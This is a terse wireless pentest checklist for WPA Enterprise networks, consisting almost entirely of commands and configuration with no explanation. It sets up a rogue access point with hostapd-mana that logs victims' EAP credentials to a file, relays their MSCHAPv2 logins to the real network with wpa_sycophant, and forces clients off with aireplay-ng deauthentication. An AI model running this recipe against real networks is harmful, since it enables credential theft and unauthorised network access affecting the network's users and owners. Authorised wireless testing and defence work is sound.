Wi-Fi WPA Enterprise Basic Wireless Pentest Checklist

sudo airmon-ng start <interface>
airodump-ng <interface> -c <channel>
openssl genrsa -out ca.key 2048
openssl req -new -x509 -days 365 -key ca.key -out ca.pem
openssl genrsa -out server.key 2048
openssl req -new -key server.key -out server.CA.csr
openssl dhparam -out dhparam.pem 2048
openssl x509 -req -in server.CA.csr -CA ca.pem -CAKey ca.key -CAcreateserial -out server.pem -days 365
# Interface configuration
interface=<interface>
ssid=<SSID>
channel=<channel>
auth_algs=3
wpa_key_mgmt=WPA-EAP
wpa_pairwise=TKIP CCMP
wpa=3
hw_mode=g
ieee8021x=1

# EAP Configuration
eap_server=1
eap_user_file=hostapd.eap_user
eapol_key_index_workaround=0

# Mana Configuration
enable_mana=1
mana_loud=1
mana_credout=credentials.creds
mana_eapsuccess=1
mana_wpe=1

# Certificate Configuration
ca_cert=ca.pem
server_cert=server.pem
private_key=server.key
dh_file=dhparam.pem

# Sycophant Configuration
enable_sycophant=1
sycophant_dir=/tmp/
*       PEAP,TTLS,TLS,MD5,GTC
"t"TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC,TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP   "challenge1234"[2]
hostapd-mana ./hostapd.conf
network={
  ssid=<SSID>
  scan_ssid=1
  key_mgmt=WPA-EAP
  identity=""
  anonymous_identity=""
  password=""
  eap=PEAP
  phase1="crypto_binding=0 peaplabel=0"
  phase2="auth=MSCHAPV2"
  bssid_blacklist=<MAC of the rogue AP>
}
wpa_sycophant.sh -c wpa_sycophant.config -i <interface 2>
aireplay-ng -0 0 -a <BSSID MAC> -c <client mac> <interface>